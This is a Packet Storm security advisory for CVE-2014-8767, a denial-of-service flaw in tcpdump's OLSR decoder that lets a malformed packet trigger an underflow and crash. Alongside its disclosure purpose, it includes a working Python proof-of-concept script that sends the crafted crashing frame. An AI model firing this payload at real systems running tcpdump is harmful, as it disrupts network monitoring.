what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

tcpdump 4.6.2 OSLR Denial Of Service

tcpdump 4.6.2 OSLR Denial Of Service
Posted Nov 19, 2014
Authored by Steffen Bauch

tcpdump versions 3.9.6 through 4.6.2 suffers from a denial of service vulnerability when handling a malformed OLSR payload.

tags | exploit, denial of service
advisories | CVE-2014-8767
SHA-256 | 4fc3ca635ddbe8ed7f884ff465b5688613dbce31cfea61e0e73891ed5e27c574

tcpdump 4.6.2 OSLR Denial Of Service

Change Mirror Download
CVE-2014-8767 tcpdump denial of service in verbose mode using malformed 
OLSR payload

1. Background

tcpdump is a powerful command-line packet analyzer. It allows the user
to intercept and display TCP/IP and other packets being transmitted or
received over a network to which the computer is attached.

2. Summary Information

It was found out that malformed network traffic (OLSR-based) can lead to
an application crash (denial of service) if verbose output of tcpdump
monitoring the network is used.

3. Technical Description

The application decoder for the OLSR protocol fails to perform external
input validation and performs insufficient checking on length
computations leading to an unsafe decrement and underflow in the function

olsr_print (const u_char *pptr, u_int length, int is_ipv6)

In this function msg_len is extracted from the input without sufficient
checks and subtracted sizeof(struct olsr_msg4) which leads to an
underflow of msg_tlen which is used to call olsr_print_neighbor() which
will crash. In case DNS reverse lookup is enabled, this will also lead
to a large amount of invalid DNS reverse lookups.

To reproduce start tcpdump on a network interface

sudo tcpdump -i lo -s 0 -n -v

(running the program with sudo might hide the segfault message on
certain environments, see dmesg for details)

and use the following python program to generate a frame on the network
(might also need sudo):

#!/usr/bin/env python
from socket import socket, AF_PACKET, SOCK_RAW
s = socket(AF_PACKET, SOCK_RAW)
s.bind(("lo", 0))

olsr_frame =
"\x00\x1b\xc6\x51\x35\x97\x00\x24\x8c\x7a\xff\x6f\x08\x00\x45\x15\x00\x3d\xf3\x7f\x40\x00\x4d\x11\x30\xc6\x0a\x01\x01\x68\x0a\x02\x02\x02\x02\xba\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x20\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x20\x01\x00\x00\x00"

s.send(olsr_frame)

4. Affected versions

Affected versions are 3.9.6 through 4.6.2

5. Fix

The problem is fixed in the upcoming version tcpdump 4.7.0

6. Advisory Timeline

2014-11-08 Discovered
2014-11-09 Requested CVE
2014-11-11 Reported vendor by email
2014-11-12 Vendor made a fix available as repository patch
2014-11-13 CVE number received
2014-11-13 Published CVE advisory

7. Credit

The issue was found by

Steffen Bauch
Twitter: @steffenbauch
http://steffenbauch.de

using a slightly enhanced version of american fuzzy lop
(https://code.google.com/p/american-fuzzy-lop/) created by Michal Zalewski.
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close